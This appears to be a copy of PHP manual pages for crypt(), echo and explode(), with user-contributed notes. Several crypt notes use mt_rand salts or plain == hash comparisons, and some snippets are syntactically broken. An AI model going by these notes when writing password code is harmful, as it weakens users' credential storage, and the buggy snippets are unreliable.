  • CRYPT_SHA512 - SHA-512 hash with a sixteen character salt prefixed with $6$. If the salt string starts with 'rounds=<N>$', the numeric value of N is used to indicate how many times the hashing loop should be executed, much like the cost parameter on Blowfish. The default number of rounds is 5000, there is a minimum of 1000 and a maximum of 999,999,999. Any selection of N outside this range will be truncated to the nearest limit.

Note:

As of PHP 5.3.0, PHP contains its own implementation and will use that if the system lacks of support for one or more of the algorithms.

Parameters

str

The string to be hashed.

Caution

Using the CRYPT_BLOWFISH algorithm, will result in the str parameter being truncated to a maximum length of 72 characters.

salt

An optional salt string to base the hashing on. If not provided, the behaviour is defined by the algorithm implementation and can lead to unexpected results.

Return Values

Returns the hashed string or a string that is shorter than 13 characters and is guaranteed to differ from the salt on failure.

Warning

When validating passwords, a string comparison function that isn't vulnerable to timing attacks should be used to compare the output of crypt() to the previously known hash. PHP 5.6 onwards provides hash_equals() for this purpose.

Changelog

Version | Description
5.6.0 | Raise E_NOTICE security warning if salt is omitted.
5.3.7 | Added $2x$ and $2y$ Blowfish modes to deal with potential high-bit attacks.
5.3.2 | Added SHA-256 and SHA-512 crypt based on Ulrich Drepper's » implementation.
5.3.2 | Fixed Blowfish behaviour on invalid rounds to return "failure" string ("*0" or "*1"), instead of falling back to DES.
5.3.0 | PHP now contains its own implementation for the MD5 crypt, Standard DES, Extended DES and the Blowfish algorithms and will use that if the system lacks of support for one or more of the algorithms.

Examples

Example #1 crypt() examples

<?php
$hashed_password = crypt('mypassword'); // let the salt be automatically generated

/* You should pass the entire results of crypt() as the salt for comparing a
   password, to avoid problems when different hashing algorithms are used. (As
   it says above, standard DES-based password hashing uses a 2-character salt,
   but MD5-based hashing uses 12.) */
if (hash_equals($hashed_password, crypt($user_input, $hashed_password)) {
   echo "Password verified!";
}
?>

Example #2 Using crypt() with htpasswd

<?php
// Set the password
$password = 'mypassword';

// Get the hash, letting the salt be automatically generated
$hash = crypt($password);
?>

Example #3 Using crypt() with different hash types

<?php
/* These salts are examples only, and should not be used verbatim in your code.
   You should generate a distinct, correctly-formatted salt for each password.
*/
if (CRYPT_STD_DES == 1) {
    echo 'Standard DES: ' . crypt('rasmuslerdorf', 'rl') . "\n";
}

if (CRYPT_EXT_DES == 1) {
    echo 'Extended DES: ' . crypt('rasmuslerdorf', '_J9..rasm') . "\n";
}

if (CRYPT_MD5 == 1) {
    echo 'MD5:          ' . crypt('rasmuslerdorf', '$1$rasmusle$') . "\n";
}

if (CRYPT_BLOWFISH == 1) {
    echo 'Blowfish:     ' . crypt('rasmuslerdorf', '$2a$07$usesomesillystringforsalt$') . "\n";
}

if (CRYPT_SHA256 == 1) {
    echo 'SHA-256:      ' . crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$') . "\n";
}

if (CRYPT_SHA512 == 1) {
    echo 'SHA-512:      ' . crypt('rasmuslerdorf', '$6$rounds=5000$usesomesillystringforsalt$') . "\n";
}
?>

The above example will output something similar to:

Standard DES: rl.3StKT.4T8M
Extended DES: _J9..rasmBYk8r9AiWNc
MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0
Blowfish:     $2a$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi
SHA-256:      $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6
SHA-512:      $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21

Notes

Note: There is no decrypt function, since crypt() uses a one-way algorithm.

See Also

  • hash_equals() - Timing attack safe string comparison
  • password_hash() - Creates a password hash
  • md5() - Calculate the md5 hash of a string
  • The Mcrypt extension
  • The Unix man page for your crypt function for more information

User Contributed Notes

sandeep 06-Oct-2014 06:29
Sometimes because of crypt function used in code, a user may not be able to login on a site on one server but succeeds on another server. It may be because the hash generated on the development server is using different hash type and the  testing/production server  hash type  is different. PHP version also plays some role here.
ian+php dot net at eiloart dot ocm 16-May-2014 09:46
If you're stuck with CRYPT_EXT_DES, then you'll want to pick a number of iterations: the 2nd-5th characters of the "salt".

My experimentation suggests that the 5th character is the most significant. A '.' is a zero and 'Z' is the highest value. Using all dots will create an error: all passwords will be encrypted to the same value.

Here are some encryption timings (in seconds) that I obtained, with five different iteration counts over the same salt, and the same password, on a quad core 2.66GHz Intel Xeon machine.

_1111 time: 0.15666794776917
_J9.Z time: 1.8860530853271
_J9.. time: 0.00015401840209961
_...Z time: 1.9095730781555
_ZZZZ time: 1.9124970436096
_...A time: 0.61211705207825

I think a half a second is reasonable for an application, but for the back end authentication? I'm not so sure: there's a significant risk of overloading the back end if we're getting lots of authentication requests.
chris at seccosquared dot com 22-Apr-2014 01:59
A great implementation of crypt, that will generate the password and a unique salt used for it for you to easily add the data to your Database.  It is called Encryptor and it is available on github:

http://git.io/mSJqpw
Marten Jacobs 08-Jan-2014 06:57
As I understand it, blowfish is generally seen a secure hashing algorithm, even for enterprise use (correct me if I'm wrong). Because of this, I created functions to create and check secure password hashes using this algorithm, and using the (also deemed cryptographically secure) openssl_random_pseudo_bytes function to generate the salt.

<?php
/*
 * Generate a secure hash for a given password. The cost is passed
 * to the blowfish algorithm. Check the PHP manual page for crypt to
 * find more information about this setting.
 */
function generate_hash($password, $cost=11){
        /* To generate the salt, first generate enough random bytes. Because
         * base64 returns one character for each 6 bits, the we should generate
         * at least 22*6/8=16.5 bytes, so we generate 17. Then we get the first
         * 22 base64 characters
         */
        $salt=substr(base64_encode(openssl_random_pseudo_bytes(17)),0,22);
        /* As blowfish takes a salt with the alphabet ./A-Za-z0-9 we have to
         * replace any '+' in the base64 string with '.'. We don't have to do
         * anything about the '=', as this only occurs when the b64 string is
         * padded, which is always after the first 22 characters.
         */
        $salt=str_replace("+",".",$salt);
        /* Next, create a string that will be passed to crypt, containing all
         * of the settings, separated by dollar signs
         */
        $param='$'.implode('$',array(
                "2y", //select the most secure version of blowfish (>=PHP 5.3.7)
                str_pad($cost,2,"0",STR_PAD_LEFT), //add the cost in two digits
                $salt //add the salt
        ));

        //now do the actual hashing
        return crypt($password,$param);
}

/*
 * Check the password against a hash generated by the generate_hash
 * function.
 */
function validate_pw($password, $hash){
        /* Regenerating the with an available hash as the options parameter should
         * produce the same hash if the same password is passed.
         */
        return crypt($password, $hash)==$hash;
}
?>
mrdaniel619 at gmail dot com 26-Jul-2013 05:16
<?php

/*
nice script for creating a hash with random salt
*/

    function rand_str($length, $charset='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789')
    {
        $str = '';
        $count = strlen($charset);
        while ($length--) {
            $str .= $charset[mt_rand(0, $count-1)];
        }
        return $str;
    }

    $hash = "";

    if(isset($_POST['string']) && !empty($_POST['string']) && is_string($_POST['string']))
    {
        $salt = rand_str(rand(100,200));

        $hash = crypt($_POST['string'], '$6$rounds=9000$'.$salt.'$');
    }

?>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title></title>
    </head>
    <body>
        <h1>512 Hash</h1>
        <div><?= $hash ?></div>
        <form method ="post">
            <table>
                <tr>
                    <td>
                        <input type ="text"
                               value ="<?php if($hash!== ""){ echo htmlspecialchars($_POST['string']); } ?>"
                               id ="string"
                               name ="string" />
                    </td>
                    <td>
                        <input type ="submit" value ="hash" />
                    </td>
                </tr>
            </table>
        </form>
    </body>
</html>
jette at nerdgirl dot dk 25-Apr-2013 04:48
The crypt() function cant handle plus signs correctly. So if for example you are using crypt in a login function, use urlencode on the password first to make sure that the login procedure can handle any character:

<?php
$user_input =  '12+#æ345';
$pass = urlencode($user_input));
$pass_crypt = crypt($pass);

if ($pass_crypt == crypt($pass, $pass_crypt)) {
  echo "Success! Valid password";
} else {
  echo "Invalid password";
}
?>
mblaney at gmail dot com 22-Apr-2013 10:46
For those wondering, like I did, what the maximum length of the returned hash can be for the purpose of storing it in a database, the answer is:

123 characters.
steve at tobtu dot com 13-Jan-2013 09:26
To generate salt use mcrypt_create_iv() not mt_rand() because no matter how many times you call mt_rand() it will only have at most 32 bits of entropy. Which you will start seeing salt collisions after about 2^16 users. mt_rand() is seeded poorly so it should happen sooner.

For bcrypt this will actually generate a 128 bit salt:
<?php $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.'); ?>

*** Bike shed ***
The last character in the 22 character salt is 2 bits.
base64_encode() will have these four character "AQgw"
bcrypt will have these four character ".Oeu"

You don't need to do a full translate because they "round" to different characters:
echo crypt('', '$2y$05$.....................A') . "\n";
echo crypt('', '$2y$05$.....................Q') . "\n";
echo crypt('', '$2y$05$.....................g') . "\n";
echo crypt('', '$2y$05$.....................w') . "\n";

$2y$05$......................J2ihDv8vVf7QZ9BsaRrKyqs2tkn55Yq
$2y$05$.....................O/jw2XygQa2.LrIT7CFCBQowLowDP6Y.
$2y$05$.....................eDOx4wMcy7WU.kE21W6nJfdMimsBE3V6
$2y$05$.....................uMMcgjnOELIa6oydRivPkiMrBG8.aFp.
Matteo 19-May-2012 07:39
Password hashing should be done only with crypt and NEVER with SHA* and MD5 or hash(). The fundamental reason is that crypt is designed to be SLOW which is a VERY good thing for password hashing.

It also automatically generate a salt every time which makes pre-computed tables to "decrypt" passwords useless (the generated salt is stored in the returned string for convenience).
harry at simans dot net 27-Sep-2011 01:34
I made a nice little wrapper function for crypt():

<?php
function hasher($info, $encdata = false)
{
  $strength = "08";
  //if encrypted data is passed, check it against input ($info)
  if ($encdata) {
    if (substr($encdata, 0, 60) == crypt($info, "$2a$".$strength."$".substr($encdata, 60))) {
      return true;
    }
    else {
      return false;
    }
  }
  else {
  //make a salt and hash it with input, and add salt to end
  $salt = "";
  for ($i = 0; $i < 22; $i++) {
    $salt .= substr("./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", mt_rand(0, 63), 1);
  }
  //return 82 char string (60 char hash & 22 char salt)
return crypt($info, "$2a$".$strength."$".$salt).$salt;
}
}
?>

This wrapper will accept a string as input and hash it, and output the hash result of the string and salt together, plus the salt added on the end. You can then store that output in a db, and pass it on to the function as the 2nd parameter when you go to verify it, along with the user input or whatever as the first.

Examples:

<?php
$hash = hasher($userinput);
if ($hash == hasher($userinput, $hash) {//authed}
?>

Neat huh?
kaminski at istori dot com 06-Feb-2011 12:43
Here is an expression to generate pseudorandom salt for the CRYPT_BLOWFISH hash type:

<?php $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22); ?>

It is intended for use on systems where mt_getrandmax() == 2147483647.

The salt created will be 128 bits in length, padded to 132 bits and then expressed in 22 base64 characters.  (CRYPT_BLOWFISH only uses 128 bits for the salt, even though there are 132 bits in 22 base64 characters.  If you examine the CRYPT_BLOWFISH input and output, you can see that it ignores the last four bits on input, and sets them to zero on output.)

Note that the high-order bits of the four 32-bit dwords returned by mt_rand() will always be zero (since mt_getrandmax == 2^31), so only 124 of the 128 bits will be pseudorandom.  I found that acceptable for my application.
mikey_nich (at) hotmáil . com 04-Mar-2007 04:47
Are you using Apache2 on f.i. WinXP and want to create .htpasswd files via php? Then you need to use the APR1-MD5 encryption method. Here is a function for that:

<?php

function crypt_apr1_md5($plainpasswd) {
    $salt = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 8);
    $len = strlen($plainpasswd);
    $text = $plainpasswd.'$apr1$'.$salt;
    $bin = pack("H32", md5($plainpasswd.$salt.$plainpasswd));
    for($i = $len; $i > 0; $i -= 16) { $text .= substr($bin, 0, min(16, $i)); }
    for($i = $len; $i > 0; $i >>= 1) { $text .= ($i & 1) ? chr(0) : $plainpasswd{0}; }
    $bin = pack("H32", md5($text));
    for($i = 0; $i < 1000; $i++) {
        $new = ($i & 1) ? $plainpasswd : $bin;
        if ($i % 3) $new .= $salt;
        if ($i % 7) $new .= $plainpasswd;
        $new .= ($i & 1) ? $bin : $plainpasswd;
        $bin = pack("H32", md5($new));
    }
    for ($i = 0; $i < 5; $i++) {
        $k = $i + 6;
        $j = $i + 12;
        if ($j == 16) $j = 5;
        $tmp = $bin[$i].$bin[$k].$bin[$j].$tmp;
    }
    $tmp = chr(0).chr(0).$bin[11].$tmp;
    $tmp = strtr(strrev(substr(base64_encode($tmp), 2)),
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
    "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
    return "$"."apr1"."$".$salt."$".$tmp;
}

?>
solar at openwall dot com 24-Dec-2005 08:20
With different password hashing methods supported on different systems and with the need to generate salts with your own PHP code in order to use the more advanced / more secure methods, it takes special knowledge to use crypt() optimally, producing strong password hashes.  Other message digest / hashing functions supported by PHP, such as md5() and sha1(), are really no good for password hashing if used naively, resulting in hashes which may be brute-forced at rates much higher than those possible for hashes produced by crypt().

I have implemented a PHP password hashing framework (in PHP, tested with all of PHP 3, 4, and 5) which hides the complexity from your PHP applications (no need for you to worry about salts, etc.), yet does things in almost the best way possible given the constraints of the available functions.  The homepage for the framework is:

http://www.openwall.com/phpass/

I have placed this code in the public domain, so there are no copyrights or licensing restrictions to worry about.

P.S. I have 10 years of experience in password (in)security and I've developed several other password security tools and libraries.  So most people can feel confident they're getting this done better by using my framework than they could have done it on their own.
hotdog (at) gmx (dot) net 16-Nov-2005 04:34
WRONG:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash_hex);
   if ($without_salt[0] == $mhashed) {
    echo "Password verified <br>";
    } else {
    echo "Password Not verified<br>";
    }
 }

$without_salt = explode($salt,$hash_hex); should be $without_salt = explode($salt,$hash);

RIGHT:

$mypassword = "toto";
$smd5_pass = "{SMD5}......." // in openldap

if (preg_match ("/{SMD5}/i", $smd5_pass))
 {
  $encrypted = substr($md5_pass, 6);
  $hash = base64_decode($encrypted);
  $salt = substr($hash,16);
  $mhashed =  mhash(MHASH_MD5, $mypassword . $salt) ;
  $without_salt = explode($salt,$hash);
   if ($without_salt[0] == $mhashed) {
    echo "Password verified <br>";
    } else {
    echo "Password Not verified<br>";
    }
 }
thorhajo at gmail dot com 03-Sep-2004 12:34
Here's a little function I wrote to generate MD5 password hashes in the format they're found in /etc/shadow:

function shadow($password)
{
  $hash = '';
  for($i=0;$i<8;$i++)
  {
    $j = mt_rand(0,53);
    if($j<26)$hash .= chr(rand(65,90));
    else if($j<52)$hash .= chr(rand(97,122));
    else if($j<53)$hash .= '.';
    else $hash .= '/';
  }
  return crypt($password,'$1$'.$hash.'$');
}

I've written this so that each character in the a-zA-Z./ set has a 1/54 of a chance of being selected (26 + 26 + 2 = 54), thus being statistically even.


Output one or more strings

  • « crypt
  • explode »
  • PHP Manual
  • String Functions
  • Output one or more strings

echo

(PHP 4, PHP 5)

echo — Output one or more strings

Description

void echo ( string $arg1 [, string $... ] )

Outputs all parameters.

echo is not actually a function (it is a language construct), so you are not required to use parentheses with it. echo (unlike some other language constructs) does not behave like a function, so it cannot always be used in the context of a function. Additionally, if you want to pass more than one parameter to echo, the parameters must not be enclosed within parentheses.

echo also has a shortcut syntax, where you can immediately follow the opening tag with an equals sign. Prior to PHP 5.4.0, this short syntax only works with the short_open_tag configuration setting enabled.

I have <?=$foo?> foo.

Parameters

arg1

The parameter to output.

...

Return Values

No value is returned.

Examples

Example #1 echo examples

<?php
echo "Hello World";

echo "This spans
multiple lines. The newlines will be
output as well";

echo "This spans\nmultiple lines. The newlines will be\noutput as well.";

echo "Escaping characters is done \"Like this\".";

// You can use variables inside of an echo statement
$foo = "foobar";
$bar = "barbaz";

echo "foo is $foo"; // foo is foobar

// You can also use arrays
$baz = array("value" => "foo");

echo "this is {$baz['value']} !"; // this is foo !

// Using single quotes will print the variable name, not the value
echo 'foo is $foo'; // foo is $foo

// If you are not using any other characters, you can just echo variables
echo $foo;          // foobar
echo $foo,$bar;     // foobarbarbaz

// Some people prefer passing multiple parameters to echo over concatenation.
echo 'This ', 'string ', 'was ', 'made ', 'with multiple parameters.', chr(10);
echo 'This ' . 'string ' . 'was ' . 'made ' . 'with concatenation.' . "\n";

echo <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon. no extra whitespace!
END;

// Because echo does not behave like a function, the following code is invalid.
($some_var) ? echo 'true' : echo 'false';

// However, the following examples will work:
($some_var) ? print 'true' : print 'false'; // print is also a construct, but
                                            // it behaves like a function, so
                                            // it may be used in this context.
echo $some_var ? 'true': 'false'; // changing the statement around
?>

Notes

Note: Because this is a language construct and not a function, it cannot be called using variable functions.

See Also

  • print - Output a string
  • printf() - Output a formatted string
  • flush() - Flush system output buffer
  • Heredoc syntax

User Contributed Notes

There are no user contributed notes for this page.


Split a string by string

  • « echo
  • fprintf »
  • PHP Manual
  • String Functions
  • Split a string by string

explode

(PHP 4, PHP 5)

explode — Split a string by string

Description

array explode ( string $delimiter , string $string [, int $limit ] )

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the string delimiter.

Parameters

delimiter

The boundary string.

string

The input string.

limit

If limit is set and positive, the returned array will contain a maximum of limit elements with the last element containing the rest of string.

If the limit parameter is negative, all components except the last -limit are returned.

If the limit parameter is zero, then this is treated as 1.

Note:

Although implode() can, for historical reasons, accept its parameters in either order, explode() cannot. You must ensure that the delimiter argument comes before the string argument.

Return Values

Returns an array of strings created by splitting the string parameter on boundaries formed by the delimiter.

If delimiter is an empty string (""), explode() will return FALSE. If delimiter contains a value that is not contained in string and a negative limit is used, then an empty array will be returned, otherwise an array containing string will be returned.

Changelog

Version | Description
5.1.0 | Support for negative limits was added

Examples

Example #1 explode() examples

<?php
// Example 1
$pizza  = "piece1 piece2 piece3 piece4 piece5 piece6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // piece1
echo $pieces[1]; // piece2

// Example 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

Example #2 explode() return examples

<?php
/*
   A string that doesn't contain the delimiter will simply
   return a one-length array of the original string.
*/
$input1 = "hello";
$input2 = "hello,there";
var_dump( explode( ',', $input1 ) );
var_dump( explode( ',', $input2 ) );

?>

The above example will output:

array(1)
(
    [0] => string(5) "hello"
)
array(2)
(
    [0] => string(5) "hello"
    [1] => string(5) "there"
)

Example #3 limit parameter examples

<?php
$str = 'one|two|three|four';

// positive limit
print_r(explode('|', $str, 2));

// negative limit (since PHP 5.1)
print_r(explode('|', $str, -1));
?>

The above example will output:

Array
(
    [0] => one
    [1] => two|three|four
)
Array
(
    [0] => one
    [1] => two
    [2] => three
)

Notes

Note: This function is binary-safe.

See Also

  • preg_split() - Split string by a regular expression
  • str_split() - Convert a string to an array
  • mb_split() - Split multibyte string using regular expression
  • str_word_count() - Return information about words used in a string
  • strtok() - Tokenize string
  • implode() - Join array elements with a string

User Contributed Notes

david dot drakulovski at gmail dot com 25-Feb-2014 07:58
I made this code for some useful filtering texts with lot of gibberish. Example provided:

<?php
$text = "There are;many|variations of:passages of Lorem Ipsum available,but the/majority have\"suffered|alteration in some form,by injected humour,or randomised words which don't look even.slightly:believable./";

$delimiter = array(" ",",",".","'","\"","|","\\","/",";",":");
$replace = str_replace($delimiter, $delimiter[0], $text);
$explode = explode($delimiter[0], $replace);

echo '<pre>';
print_r($explode);
echo '</pre>';
// replaces many symbols in text, then explodes it
?>

This will output the following:
Array
(
    [0] => There
    [1] => are
    [2] => many
    [3] => variations
    [4] => of
    [5] => passages
    [6] => of
    [7] => Lorem
    [8] => Ipsum
    [9] => available
    [10] => but
    [11] => the
    [12] => majority
    [13] => have
    [14] => suffered
    [15] => alteration
    [16] => in
    [17] => some
    [18] => form
    [19] => by
    [20] => injected
    [21] => humour
    [22] => or
    [23] => randomised
    [24] => words
    [25] => which
    [26] => don
    [27] => t
    [28] => look
    [29] => even
    [30] => slightly
    [31] => believable
    [32] =>
    [33] =>
)
artaxerxes2 at iname dot com 01-Feb-2014 01:29
Note that using explode() on an empty string returns a non-empty array.

So the code:
<?php
  print_r(explode("|","");
?>
returns:
Array
(
    [0] =>
)

If you need to return an empty array in the case of an empty string, you must call array_diff() after the explode:
<?php
  print_r(array_diff(explode("|",""),array("")));
?>
returns:
Array
(
)

This is useful in case your use of MySQL's group_concat() returns an empty string for just some records but you want to convert them all to arrays that actually reflect what group_concat() gave you
crog at gustavus dot edu 02-Aug-2013 04:52
Note that while the documentation states the "If limit is set and positive," passing a null-value will still result in triggering the "limit is zero" case (as of PHP 5.4.17).

When passing through values (such as using explode to implement an interface method), you'll need to explicitly check that the limit has been set:

<?php
  public function split($string, $delimiter, $limit = null)
  {
    return isset($limit) ? explode($delimiter, $string, $limit) : explode($delimiter, $string);
  }
?>

Failing to check $limit and simply passing through a null-value will return the same value as if $limit were 0 or 1. To clarify, all of the following will return the same value:

<?php
explode($string, $delimiter, null);
explode($string, $delimiter, 0);
explode($string, $delimiter, 1);
?>
Hayley Watson 13-Mar-2013 06:13
The comments to use array_filter() without a callback to remove empty strings from explode's results miss the fact that array_filter will remove all elements that, to quote the manual,  "are equal to FALSE".

This includes, in particular, the string "0", which is NOT an empty string.

If you really want to filter out empty strings, use the defining feature of the empty string that it is the only string that has a length of 0. So:
<?php
array_filter(explode(':', "1:2::3:0:4"), 'strlen');
?>
m.reesinck 18-Feb-2013 09:59
I needed a multiexplode which didn't replace my delimiters for 1 other delimiter. Because I couldn't find one in the examples I made one.

delimiter array:
array('/RTRN/','/BUSP/','/BENM/','/ORDP/','/CSID/', '/MARF/','/EREF/', '/PREF/','/REMI/','/ID/','/PURP/', '/ULTB/','/ULTD/');

input string: /RTRN/MS03//BENM/NL50INGB00012345/BUSP/Europese Incasso/eenmalig/67/INGBNL2A/ING Bank N.V. inzake WeB///CSID/NL32ZZZ999999991234//MARF/EV45451//EREF/EV45451 REP170112T1106//REMI///EV45451REP170112T1106/

output:
array(
[/RTRN/] => MS03/
[/BENM/] => NL50INGB00012345
[/BUSP/] => Europese Incasso/eenmalig/67/INGBNL2A/ING Bank N.V. inzake WeB//
[/CSID/] => NL32ZZZ999999991234/
[/MARF/] => EV45451/
[/EREF/] => EV45451REP170112T1106/
[/REMI/] => //EV45451REP170112T1106/
[/ORDP/] =>
[/PREF/] =>
[/ID/] =>
[/PURP/] =>
[/ULTB/] =>
[/ULTD/] =>
)

<?php
function multiexplode($delimiters,$string) {

        $arrOccurence = array();
        $arrEnd = array();
        foreach($delimiters as $key => $value){
            $position = strpos($string, $value);
            if($position > -1){
                $arrOccurence[$value] = $position;
            }
        }

        if(count($arrOccurence) > 0){

            asort($arrOccurence);
            $arrEnd = array_values($arrOccurence);
            array_shift($arrEnd);

            $i = 0;
            foreach($arrOccurence as $key => $start){
                $pointer = $start+strlen($key);
                if($i == count($arrEnd)){
                    $arrOccurence[$key] = substr($string, $pointer);
                } else {
                    $arrOccurence[$key] = substr($string, $pointer, $arrEnd[$i]-$pointer);
                }
                $i++;
            }

        }

         //next part can be left apart if not necessary. In that case key that don't appear in the inputstringwill not be returned
        foreach($delimiters as $key => $value){
            if(!isset($arrOccurence[$value])){
                $arrOccurence[$value] = '';
            }
        }

        return $arrOccurence;
}
?>
php at metehanarslan dot com 05-Feb-2013 07:43
Here is my approach to have exploded output with multiple delimiter.

<?php

//$delimiters has to be array
//$string has to be array

function multiexplode ($delimiters,$string) {

    $ready = str_replace($delimiters, $delimiters[0], $string);
    $launch = explode($delimiters[0], $ready);
    return  $launch;
}

$text = "here is a sample: this text, and this will be exploded. this also | this one too :)";
$exploded = multiexplode(array(",",".","|",":"),$text);

print_r($exploded);

//And output will be like this:
// Array
// (
//    [0] => here is a sample
//    [1] =>  this text
//    [2] =>  and this will be exploded
//    [3] =>  this also
//    [4] =>  this one too
//    [5] => )
// )

?>
kkobashi at kobashicomputing dot com 14-Jul-2012 12:36
Explode does not parse a string by delimiters, in the sense that we expect to find tokens between a starting and ending delimiter, but instead splits a string into parts by using a string as the boundary of each part. Once that boundary is discovered the string is split. Whether or not that boundary is proceeded or superseded by any data is irrelevant since the parts are determined at the point a boundary is discovered.

For example:

<?php

var_dump(explode("/","/"));

/*
   Outputs

   array(2) {
     [0]=>
     string(0) ""
     [1]=>
     string(0) ""
   }
*/

?>

The reason we have two empty strings here is that a boundary is discovered before any data has been collected from the string. The boundary splits the string into two parts even though those parts are empty.

One way to avoid getting back empty parts (if you don't care for those empty parts) is to use array_filter on the result.

<?php

var_dump(array_filter(explode("/","/")));

/*
   Outputs

   array(0) {
   }
*/
?>

*[This note was edited by googleguy at php dot net for clarity]*
eye_syah88 at yahoo dot com 30-May-2011 09:32
a simple one line method to explode & trim whitespaces from the exploded elements

array_map('trim',explode(",",$str));

example:

$str="one  ,two  ,       three  ,  four    ";
print_r(array_map('trim',explode(",",$str)));

Output:

Array ( [0] => one [1] => two [2] => three [3] => four )
dhz 30-Dec-2010 06:21
A one-liner to extract a portion of a string, starting from the END of the string....
<?php
$extracted_string = implode('.', array_slice(explode('.', $original_string), -2));
?>
tiago dot dias at flow-me dot com 09-Sep-2010 12:40
Beaware splitting empty strings.

<?php
$str = "";
$res = explode(",", $str);
print_r($res);
?>

If you split an empty string, you get back a one-element array with 0 as the key and an empty string for the value.

Array
(
    [0] =>
)

To solve this, just use array_filter() without callback. Quoting manual page "If the callback function is not supplied, array_filter() will remove all the entries of input that are equal to FALSE.".

<?php
$str = "";
$res = array_filter(explode(",", $str));
print_r($res);
?>

Array
(
)
Cody G. 08-Aug-2010 03:41
I'm sure you guys get just a bit frustrated at times when you need a fraction of a very simple string and you use "explode()", but then you have to define a whole extra variable. (That is because you need to store a function-returned array in a variable before you can extract a value).

If you're extracting the last half, or third, of a string, there's an easy inline workaround. Check this:

<?php
 $mystr = "separated-text";
 print(str_replace("-","",strstr("-",$mystr)));
 //Returns "text"
?>

If the separator (dash) can be left in, you don't even need the "str_replace()" function.

Lets try this with 3 fractions:

<?php
 $mystr = "separated-text-again";
 //Comment submission wouldn't let me
 // combine this into one statement.
 // That's okay, it's more readable.
 $split1 = str_replace("-","",strstr("-",$mystr));
 print(str_replace("-","",strstr("-",$split1)));
 //Returns "again"
?>

Anything more than 3 fractions gets really confusing, in that case you should use "explode()".

Hope this helps!
~Cody G.
m0gr14 at gmail dot com 31-Jul-2010 04:02
Here's a function for "multi" exploding a string.

<?php
//the function
//Param 1 has to be an Array
//Param 2 has to be a String
function multiexplode ($delimiters,$string) {
    $ary = explode($delimiters[0],$string);
    array_shift($delimiters);
    if($delimiters != NULL) {
        foreach($ary as $key => $val) {
             $ary[$key] = multiexplode($delimiters, $val);
        }
    }
    return  $ary;
}

// Example of use
$string = "1-2-3|4-5|6:7-8-9-0|1,2:3-4|5";
$delimiters = Array(",",":","|","-");

$res = multiexplode($delimiters,$string);
echo '<pre>';
print_r($res);
echo '</pre>';

//returns
/*
Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 1
                            [1] => 2
                            [2] => 3
                        )

                    [1] => Array
                        (
                            [0] => 4
                            [1] => 5
                        )

                    [2] => Array
                        (
                            [0] => 6
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 7
                            [1] => 8
                            [2] => 9
                            [3] => 0
                        )

                    [1] => Array
                        (
                            [0] => 1
                        )

                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 2
                        )

                )

            [1] => Array
                (
                    [0] => Array
                        (
                            [0] => 3
                            [1] => 4
                        )

                    [1] => Array
                        (
                            [0] => 5
                        )

                )

        )

)
*/
?>
jessebusman at gmail dot com 27-May-2010 09:45
Sometimes you need to explode a string by different delimiters. In that case you can use this function:

<?php
print_r(explodeX(Array(".","!"," ","?",";"),"This.sentence?contains wrong;characters"));
// Returns:
// Array("This","sentence","contains","wrong","characters")

function explodeX($delimiters,$string)
{
    $return_array = Array($string); // The array to return
    $d_count = 0;
    while (isset($delimiters[$d_count])) // Loop to loop through all delimiters
    {
        $new_return_array = Array();
        foreach($return_array as $el_to_split) // Explode all returned elements by the next delimiter
        {
            $put_in_new_return_array = explode($delimiters[$d_count],$el_to_split);
            foreach($put_in_new_return_array as $substr) // Put all the exploded elements in array to return
            {
                $new_return_array[] = $substr;
            }
        }
        $return_array = $new_return_array; // Replace the previous return array by the next version
        $d_count++;
    }
    return $return_array; // Return the exploded elements
}
?>
drieick at hotmail dot com 22-Apr-2010 05:34
When explode is given an empty $string, it'll return an array with a single empty element.

<?php

# returns Array([0] => );
print_r(explode(',', ''));

?>

This is not a bug, but it can be pretty tricky (especially with callbacks that expect a certain type of array). So, be sure to check your arrays. It's not a bug, because there's nothing to split.
locoluis at gmail dot com 08-Apr-2010 06:02
That with all stateful encodings that use bytes between 0x00 and 0x7f for something other than, say, encoding ASCII characters. Including GBK, BIG5, Shift-JIS etc.

explode and other such PHP functions work on bytes, not characters.

What you do is to convert the string to UTF-8 using iconv(), then explode, then go back to GBK.
gxd305 at gmail dot com 17-Nov-2009 02:47
when the encoding of $string  is 'GBK' and $delimiter is '|' , the return value may be wrong.
for example:

<?php
$result = explode("|", "滕华弢|海青");
var_dump($result);
?>

and the result will be:
array (
  0 => '滕华,
  1 => '',
